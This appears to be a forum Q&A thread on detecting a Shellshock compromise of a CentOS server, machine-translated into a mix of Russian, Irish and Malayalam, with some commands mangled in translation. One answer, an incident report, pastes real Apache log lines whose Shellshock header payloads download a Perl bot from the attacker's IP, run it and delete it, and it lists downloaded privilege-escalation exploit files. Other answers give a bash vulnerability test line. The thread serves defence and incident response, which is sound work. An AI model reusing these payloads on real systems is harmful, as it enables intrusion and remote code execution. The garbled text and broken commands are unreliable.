Три вопроса, которые я надеюсь, что кто-то может помочь ответить:
Я выполняю CentOS 6, стек LEMP
Conas a bheidh a fhios agam an bhfuil mo fhreastalaí i gcontúirt cheana féin mar gheall ar fhabht Shellshock?
Níl tú. Sin an smaoineamh ar leochaileacht slándála. Dá mbeadh ort cliceáil Lig na brioscaí isteach? OK / Cealaigh ní bheadh sé i bhfad leochaileachta.
B’fhéidir go mbeadh an t-ádh ort logaí do veicteoirí ionsaithe a sheiceáil, ach ós rud é go bhfuil an oiread sin seirbhísí leochaileach agus nach ndéanann gach ceann acu gach rochtain a logáil, tá sé is dócha nach féidir ionsaí a fháil go cinntitheach.
Dá gcuirfí i gcontúirt é, an bhfuil fillteán ar leith ann ar cheart dom comhaid mhailíseacha a lorg?
Níl, d’fhéadfadh comhad mailíseach a bheith áit ar bith.
Déanann fréamh-phacáistí coitianta iad féin a shuiteáil. / root
nó /
nó / tmp
nó ceann de na cosáin dhénártha ach i ndáiríre d’fhéadfaidís a bheith áit ar bith. B’fhéidir go bhfuil ainm acu cosúil le fíor-sheirbhís nó rud éigin “tábhachtach” ag breathnú cosúil le “ IPTables
” nó “ eithne-bin
" ach d’fhéadfadh siad a bheith randamach freisin teaghráin de charachtair nó an t-ainm céanna le fíor-dhénártha (díreach i gcosán difriúil). Is féidir leat luchtú fréimhe an-soiléir a fheiceáil i /etc/rc.local
nó naisc a dhéanamh trí netstat -neopa
. Cuardaigh ainmneacha próisis amhrasacha i barr -c
.
Tagann fréamh-phacáiste nach bhfuil chomh coitianta agus atá i bhfad níos deacra a fháil in ionad leabharlainne nó é a luchtú mar leabharlann shim agus glaonna córais a thascradh. Tá sé beagnach dodhéanta é seo a fháil mura ndéanann tú gach rud atá ag rith ar do chóras a stracadh / a threascairt agus an t-iompar a chur i gcomparáid leis an iompar a bhfuil súil leis ó chóras nó cód foinse aitheanta.
Bheadh sé níos gasta, níos éasca agus níos dochloíte. ach an córas a athlódáil.
Cén chuma atá ar chomhad mailíseach?
Is dócha mar aon dénártha nó leabharlann rialta ELF eile. B’fhéidir gur script é freisin.
Mar fhocal scoir, má cheapann tú go bhfuil an fhéidearthacht ann go bhfuil do chóras curtha i gcontúirt, caith leis an gcóras amhail is go bhfuil sé curtha i gcontúirt agus déan na bearta is gá.
Chonaic mé iarracht amháin ar an fabht a shaothrú, a chuirfeadh bot IRC mar / var / tmp / x
. Ach go ginearálta níl aon chomhaid faoi leith le cuardach, ós rud é go bhféadfaidís a bheith áit ar bith nó áit ar bith.
Dá gcuirfeá i gcontúirt tríd an bhfreastalaí gréasáin bheadh aon chomhad nó próiseas nua ar leis an úsáideoir freastalaí gréasáin amhrasach é.
Sa chás gur úsáid ionsaitheoir an fabht bash
ar dtús chun dul isteach sa chóras agus ina dhiaidh sin leochaileacht áitiúil le bheith ina fhréamh
, d’fhéadfadh sé a bheith beagnach dodhéanta é a fheiceáil.
Féach air seo freisin ceist den chineál céanna .
ní péiste é an sliogán mar sin níl aon chomhaid le cuardach. Is bealach é Shellshock chun líonra a ionsaí chun iontráil a fháil. Nuair a bheidh sé istigh cé a fhios cad a dhéanfaidh an t-ionsaitheoir.
Ba mhaith liom macalla a dhéanamh ar an bhfreagra ó suprjami agus a rá má tá do chóras leochaileach ba cheart duit caitheamh leis mar chomhréiteach.
Má tá apache á rith agat is féidir leat na logaí a sheiceáil le haghaidh iarrachtaí cur isteach Shellshock leis an ordú seo a leanas:
[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"
Baineann an t-ordú seo gach líne ina bhfuil "cgi" as logaí rochtana Apache (ar a dtugtar access_log, access_log.1, access_log.2 srl) de réir réamhshocraithe agus ansin píopaítear é i egrep leis an regex.
(Foinse : http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )
Поскольку существует несколько векторов атак для Shellshock, некоторые из которых пока неизвестны широкой публике или вызваны специальным сценарием CGI, нет однозначного способа определить, скомпрометированы вы или нет.
В дополнение к обычному подходу «давайте посмотрим, изменились ли некоторые системные файлы или что-то еще подозрительное произошло в последнее время», вы можете захотеть следить за поведением вашего сервера.
netstat
странные сетевые соединения или ps aux
показывает процессы, которые вы не распознаете? Если у вас есть надлежащий мониторинг состояния сервера (например, Zabbix
), он может помочь вам обнаружить нарушения безопасности , тоже. Вы также можете сравнить суммы MD5 / SHA системных файлов с заведомо исправной резервной копией.
Просто действуйте так, как ваш сервер был взломан, и исследуйте все, что вы можете придумать.
Я просто имел удовольствие очистить скомпрометированную старую систему Plesk. Первое, что выдало его, - это многочисленные процессы, которые начали прослушивать несколько портов, а другие пытались загрузить код с исходного сервера сканирования.
lsof -i -n
...
perl 1899 user100 3u IPv4 227582583 0t0 TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
perl 1999 user101 3u IPv4 227582597 0t0 TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
perl 2016 wwwrun 3u IPv4 227549964 0t0 TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...
После журналов я обнаружил, что основной дырой была a cgi_wrapper
скрипт, что-то, что должно было защищать и экранировать систему, на самом деле пробило дыру в защите.
Вот некоторые из строк журнала от зондов и успешной атаки:
Это строки из access_log, так как это всего лишь образец, обратите внимание на 200 в двух строках, в то время как другие терпят неудачу с 404. Вы делаете не нужно беспокоиться о строках с 404, так как они не удались, а строки с 200 - нет. Шаблон этих атак здесь всегда один и тот же: 1. Найдите уязвимый сценарий cgi, используйте эксплойт shellshock, чтобы загрузить и выполнить сценарий perl, снова удалите сценарий perl. Сценарий perl фактически загружает некоторые исходные файлы (tgz), компилирует и запускает их, из того, что я видел, они включают как минимум бэкдор и механизм автоматического обновления, а также то, что похоже на эксплойты, чтобы попытаться получить повышенные привилегии выполнения. Все начальные сценарии фактически выполняются от имени пользователя, указанного оболочкой, в то время как последующие службы запускаются с PPID равным 1 (запускаются из корневого процесса)).
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
И здесь соответствующие строки error_log:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03-- http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34-- http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
Файлы загружены в / tmp Как можно догадаться, у меня нет файла bot.pl, так как он сразу же удаляется.
-rwxr-xr-x 1 user100 psacln 187 Sep 29 01:02 check
-rwxr-xr-x 1 user100 psacln 9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100 psacln 4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100 psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100 psacln 178 Sep 29 03:35 payload.c
cd ./expls
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 1
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100 psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100 psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100 psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100 psacln 2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100 psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100 psacln 6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100 psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100 psacln 6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100 psacln 2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100 psacln 4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100 psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100 psacln 1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100 psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100 psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100 psacln 9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100 psacln 419 Sep 29 02:03 origin
-rw-r--r-- 1 user100 psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100 psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100 psacln 3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100 psacln 2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100 psacln 208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100 psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100 psacln 7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100 psacln 233 Sep 29 03:13 run
-rwxr-xr-x 1 user100 psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100 psacln 3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100 psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100 psacln 4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100 psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100 psacln 2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100 psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100 psacln 159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100 psacln 9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100 psacln 2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100 psacln 438 Sep 29 03:13 start
-rwxr-xr-x 1 user100 psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100 psacln 5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100 psacln 25396 Sep 29 02:46 x86_64.c
Через некоторое время я заметил ssh-соединения из разных мест, таких как Китай, которые обычно не так часто посещают наш сервер. Я исправил bash в качестве экстренной меры (было бы неплохо иметь исправленные источники, доступные на веб-сайте FSF, а не только действительно СТАРЫЕ источники и файлы исправлений (один из которых сначала не работал правильно). Сейчас запланирована полная очистка системы, поэтому, если кто-то хочет что-то еще об атаке, вы можете спросить, но сделайте это как можно скорее.
Этот ответ не особенно относится к Shellshock, но для любая система, которую вы считаете скомпрометированной
второе примечание: нельзя быть уверенным, что вы восстановились после взлома корневой системы. Ваше единственное действие - уничтожить и повторно подготовить систему
Попробуйте получить чистую статическую сборку rpm
и выполните команду rpm --verify --all
. Он сообщит вам, какие файлы, принадлежащие пакету, были изменены. Но поскольку вы можете запустить его в скомпрометированной системе, вы не можете полностью доверять результату. Затем вы можете просто выполнить rpm -qa
, чтобы получить список пакетов, воссоздать другую систему с теми же версиями пакетов, а затем find / -type f | xargs -r -n 100 md5sum | отсортируйте
в обеих системах и посмотрите, что от них отличается.
Кроме того, если вы правильно управляете своей системой (то есть не устанавливаете ничего вручную за пределами / opt или / usr / local / bin или другого неуправляемого места), вы можете искать все файлы в вашей системе, которые не принадлежат пакету, с помощью найти / -тип f -exec rpm -qf {} \;
. Он должен показывать ошибки для неизвестных файлов. Я позволяю вам не показывать положительные моменты в качестве упражнения; -)
Чтобы делать то же самое периодически с криптографическим доказательством, существует инструмент под названием Tripwire
, который вы все еще можете найти как бесплатную версию. Он старый, но делает свое дело. Более новая альтернатива - AIDE
, но когда я смотрел на нее много лет назад, в ней не использовалось шифрование.
Есть некоторые инструменты, которые могут помочь. Например, найдите пакет rkhunter
. Он просканирует ваш компьютер на предмет известных корневых наборов инструментов и используемых файлов.
Очевидно, что эти инструменты должны были быть установлены и настроены до того, как система будет взломана, и эти инструменты также могут стать целью, если ваша система успешно взломана для получения корневого доступа. Кроме того, эти инструменты могут быть очень интенсивными и замедлять работу вашей системы.
നിങ്ങളുടെ സെർവറിൽ വിട്ടുവീഴ്ചയുണ്ടോ എന്ന് അറിയാനുള്ള ഏക മാർഗം നിങ്ങളുടെ ഫയലുകളുടെ ഒപ്പ് എവിടെയെങ്കിലും ഉണ്ടായിരിക്കുകയും നിങ്ങളുടെ നിലവിലെ ഫയലുകളുമായി താരതമ്യപ്പെടുത്തുകയും ചെയ്യുക എന്നതാണ്. എന്നിരുന്നാലും നിങ്ങൾ ദുർബലരാണോ എന്ന് നിങ്ങൾക്ക് കാണാൻ കഴിയും.
Conas a fháil amach an bhfuil do bhosca linux i gcontúirt.
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Má fhilleann tú
vulnerable
this is a test
tá tú.
Chun an nuashonrú a rith, rith an t-ordú seo a leanas faoi fhréamh
sudo yum update bash
ഇനിപ്പറയുന്ന കമാൻഡുകൾ (സിഎസ്എ നൽകിയ കോഡ്) പ്രവർത്തിപ്പിക്കുന്നതിലൂടെ നിങ്ങൾ ദുർബലരാണോയെന്ന് പരിശോധിക്കാൻ കഴിയും. ഒരു ടെർമിനൽ വിൻഡോ തുറന്ന് command പ്രോംപ്റ്റിൽ ഇനിപ്പറയുന്ന കമാൻഡ് നൽകുക:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
നിങ്ങളുടെ ബാഷ് കാലികമല്ലെങ്കിൽ, ഇത് പ്രിന്റുചെയ്യും:
vulnerable
this is a test
